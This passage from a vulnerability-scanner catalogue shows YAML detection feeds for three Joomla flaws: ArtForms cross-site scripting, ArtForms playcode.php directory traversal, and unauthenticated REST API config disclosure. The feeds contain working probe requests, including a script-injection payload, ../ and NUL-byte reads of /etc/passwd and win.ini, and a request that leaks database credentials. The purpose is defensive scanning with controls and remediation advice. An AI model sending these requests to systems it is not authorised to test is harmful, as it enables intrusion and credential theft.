        evidence: "GET {{target.dir}}/index.php?option=com_jimtawl&Itemid=12&task=(../ x15){{target.file}}%00 leaked the file; control request for a non-existent file did not. Response: {{lfi_resp.banner}}"
      stop: true

Joomla! ArtForms afmsg Reflected Cross-Site Scripting

CVECVE-2010-2846
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-2846.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the reflected cross-site scripting in the afmsg parameter of index.php?option=com_artforms, which the component prints without escaping. In the web root and under /joomla, the feed sends afmsg a script element that only carries a random marker (percent-encoded once, then, when it is not reflected, twice for components that decode the message again before printing it) and reports the install when that exact script element comes back unescaped in the page. Each probe is sent with formid=1 and without it. A control request sending the same payload to a random, absent component must not reflect it, so a page that echoes any parameter is not reported as ArtForms. The script is harmless and only reaches the scanner.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%3Cscript%3Ealert(/{{sc.marke…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%253Cscript%253Ealert(/{{sc.m…
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{t.dir}}/index.php?{{ctrl_q}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit for ^encoded (once|twice)$ → finding QoD 75: Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2846.yaml
# Joomla! ArtForms (com_artforms) afmsg reflected cross-site scripting — CVE-2010-2846
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) prints the afmsg request parameter (the message shown after a form
# is sent) into the component page without escaping (advisory: exploit-db
# 14263, "index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>").
#
# Detection (benign — the injected script only names a random marker and is
# shown to nobody but the scanner): GET
#   <joomla dir>/index.php?option=com_artforms[&formid=1]&afmsg=<script>alert(/<marker>/)</script>
# (percent-encoded) and look for that exact, unescaped script element in the
# reply (QoD 75). The payload has no quote, so magic_quotes_gpc cannot alter
# it. When it is not reflected, the same payload is sent percent-encoded
# twice: a component that strips tags from the parameter (Joomla 1.0
# mosGetParam) and then urldecode()s it before printing — as a message passed
# through a redirect usually is — prints the script element too.
#
# Improvements over the source NASL:
#   - The NASL does not test the cross-site scripting at all: it reports it
#     only through a version check of the ArtForms page (every version <=
#     2.1b7.2 RC2, i.e. every version, since no fix exists). The feed proves
#     the unescaped reflection and only reports installs that have it.
#   - A control request sends the same payload to a random, absent component
#     (option=com_<random>): a page that reflects it there too is a generic
#     parameter reflector, not ArtForms, and is not reported (fail-closed).
#   - Each probe is sent with the advisory's formid=1 and without it, so a
#     site that has no form 1 is still tested.
#   - A random marker per scan, so a page that always shows a fixed script
#     (or a tutorial quoting the advisory) is not reported, and a second,
#     double-encoded payload for the strip-then-decode variant.
#
# CVSS: CVE-2010-2846 v2 4.3 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: 9f4b210d-2d4a-444d-a131-f3737d35cc01
name: "Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the reflected cross-site scripting in the afmsg parameter of
  index.php?option=com_artforms, which the component prints without escaping.
  In the web root and under /joomla, the feed sends afmsg a script element
  that only carries a random marker (percent-encoded once, then, when it is
  not reflected, twice for components that decode the message again before
  printing it) and reports the install when that exact script element comes
  back unescaped in the page. Each probe is sent with formid=1 and without
  it. A control request sending the same payload to a random, absent
  component must not reflect it, so a page that echoes any parameter is not
  reported as ArtForms. The script is harmless and only reaches the scanner.
cves: [CVE-2010-2846]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2846"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random marker and the exact script element to look for ───────────────
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ marker: m, want: "<script>alert(/" + m + "/)</script>" }
    store_as: sc

  # ── Loop group: every following step runs once per (folder, formid) ──────
  - id: init-once-r
    action: set_var
    var_name: once_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {dir: "", form: "formid=1&"}
        - {dir: "", form: ""}
        - {dir: "/joomla", form: "formid=1&"}
        - {dir: "/joomla", form: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-q
    action: set_var
    var_name: ctrl_q
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-twice-r
    action: set_var
    var_name: twice_r
    var_value: {status: 0, body: ""}

  - id: probe-once
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: once_r

  - id: check-once
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(once_r.body) == "string" { once_r.body } else { "" };
      if body.contains(sc.want) { "encoded once" } else { "" }
    store_as: hit

  - id: probe-twice
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%253Cscript%253Ealert(/{{sc.marker}}/)%253C/script%253E"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: twice_r

  - id: check-twice
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(twice_r.body) == "string" { twice_r.body } else { "" };
      if body.contains(sc.want) { "encoded twice" } else { "" }
    store_as: hit

  # ── Control: the same payload to a random, absent component ─────────────
  # Joomla answers an unknown option with its "component not found" page, so
  # a page that reflects the payload there too is a generic reflector (any
  # script echoing its parameters), not ArtForms: not reported. Fail-closed —
  # no control reply, no finding.
  - id: control-query
    action: script
    condition: 'hit != ""'
    code: |
      let enc = if hit == "encoded once" { "%3C" } else { "%253C" };
      let gt = if hit == "encoded once" { "%3E" } else { "%253E" };
      "option=com_" + sc.marker + "&" + t.form + "afmsg=" + enc + "script" + gt + "alert(/" + sc.marker + "/)" + enc + "/script" + gt
    store_as: ctrl_q

  - id: control
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?{{ctrl_q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit != ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    condition: 'hit != ""'
    code: |
      let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
      ctrl_r.status != 0 && !body.contains(sc.want)
    store_as: ctrl_clean

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^encoded (once|twice)$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        title: "Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)"
        description: "An unauthenticated request to index.php?option=com_artforms with the afmsg parameter set to a script element carrying a random marker returned that script element unescaped in the page. An attacker can send a victim a link that runs any script in the site's origin, for example to steal a logged-in administrator's session."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it HTML-escape afmsg (htmlspecialchars) before printing it."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=<script>alert(/{{sc.marker}}/)</script> ({{hit}}) was reflected unescaped: {{sc.want}}; the same payload sent to an absent component was not"
      stop: true

Joomla! ArtForms playcode.php Directory Traversal

CVECVE-2010-2848
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-2848.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the unauthenticated directory traversal in its audio captcha script assets/captcha/includes/alikon/playcode.php, which builds the path of the file it sends from the l parameter unchecked. The feed requests playcode.php in the web root and under /joomla with l set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the appended suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the traversal. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l={{ctrl_…
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2848.yaml
# Joomla! ArtForms (com_artforms) alikon/playcode.php directory traversal — CVE-2010-2848
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) ships components/com_artforms/assets/captcha/includes/alikon/
# playcode.php, the audio captcha player. It builds the path of the sound file
# to send from the "l" request parameter with no check and no login (advisory:
# exploit-db 14263). "../" sequences leave the sounds folder, and a NUL byte
# (%00) cuts off the appended suffix on PHP < 5.3.4 with magic_quotes_gpc off,
# so any file the web server user can read is sent back.
#
# Detection (benign, read-only): GET
#   <joomla dir>/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16)etc/passwd%00
# and match the CONTENT of /etc/passwd; when the script answers but no passwd
# line comes back, windows/win.ini, then boot.ini. QoD 75 (response analysis).
# %00 and ../ in the query go out verbatim through http_request.
#
# Improvements over the source NASL:
#   - The NASL only probes when the com_artforms page of a detected Joomla
#     install says "ArtForms", and otherwise falls back to a version check that
#     reports every ArtForms <= 2.1b7.2 RC2 (no fixed release exists) without
#     testing the flaw. The feed sends the file read directly (playcode.php is
#     a standalone script that works even when the component page is hidden)
#     and reports only an install where the read works. The SQL injection and
#     the cross-site scripting of the same advisory are proven by their own
#     feeds (CVE-2010-2847.yaml, CVE-2010-2846.yaml).
#   - Sixteen "../" levels instead of twelve, for deeper install folders.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status (fail-closed): a blanket
#     responder or a honeypot keying a fake file on the name is not reported.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2010-2848 v2 5.0 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: d1ec2428-b688-4ae9-823d-54888217e4a8
name: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the unauthenticated directory traversal in its audio captcha script
  assets/captcha/includes/alikon/playcode.php, which builds the path of the
  file it sends from the l parameter unchecked. The feed requests playcode.php
  in the web root and under /joomla with l set to a ../ sequence ending in
  etc/passwd and a NUL byte (%00) that cuts off the appended suffix and, when
  no passwd content comes back, windows/win.ini and then boot.ini. The content
  of the file in the reply confirms the traversal. The NUL-byte cut only works
  on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are
  not reported. A control request for an absent random file through the same
  parameter must not return any of these files, so a server that serves the
  same content on every request is not reported. Only world-readable system
  files are read. The account name (unless root), password field and gecos of
  the uid-0 line are redacted from the evidence.
cves: [CVE-2010-2848]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2848"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per Joomla folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered (200) and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
        description: "An unauthenticated request to the ArtForms captcha script playcode.php with the l parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the Joomla configuration.php with the database password."
        remediation: "Remove the ArtForms component (no fixed release exists) or at least delete components/com_artforms/assets/captcha/includes/alikon/playcode.php, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16)etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
        description: "An unauthenticated request to the ArtForms captcha script playcode.php with the l parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the Joomla configuration.php with the database password."
        remediation: "Remove the ArtForms component (no fixed release exists) or at least delete components/com_artforms/assets/captcha/includes/alikon/playcode.php, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16){{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

Joomla! Unauthenticated REST API Config Disclosure — DB Credentials

CVECVE-2023-23752
Severitymedium · CVSS 5.3
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2023-23752.yaml

Requests /api/index.php/v1/config/application?public=true without credentials and reports when Joomla returns the application configuration, which leaks the database credentials.

How noctis detects it

  1. HTTP(S) request GET /api/index.php/v1/config/application?public=true
  2. Checks cfg_resp.body for "attributes": → finding QoD 75: Joomla! REST API exposed database credentials without authentication (CVE-2023-23752): …
Feed source — tests/vulnerabilities/joomla/CVE-2023-23752.yaml
uid: 75be162e-7033-4612-a3d3-a4805e58b15c
name: "Joomla! Unauthenticated REST API Config Disclosure — DB Credentials (CVE-2023-23752)"
description: "Requests /api/index.php/v1/config/application?public=true without credentials and reports when Joomla returns the application configuration, which leaks the database credentials."
cves: [CVE-2023-23752]
cvss: 5.3
severity: medium
category: auth-bypass
confidence_base: 0.30
tags: [joomla, cms, api, auth-bypass, credential-disclosure, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"

steps:
  - id: api-probe
    action: http_request
    method: GET
    path: "/api/index.php/v1/config/application?public=true"
    port: "{{port}}"
    tls_insecure: true
    store_as: cfg_resp

  - id: config-match
    action: match
    source: cfg_resp.body
    pattern: '"attributes":'
    condition: "cfg_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Joomla! REST API exposed database credentials without authentication (CVE-2023-23752): {{cfg_resp.body}}"
      stop: true

View these feeds on GitHub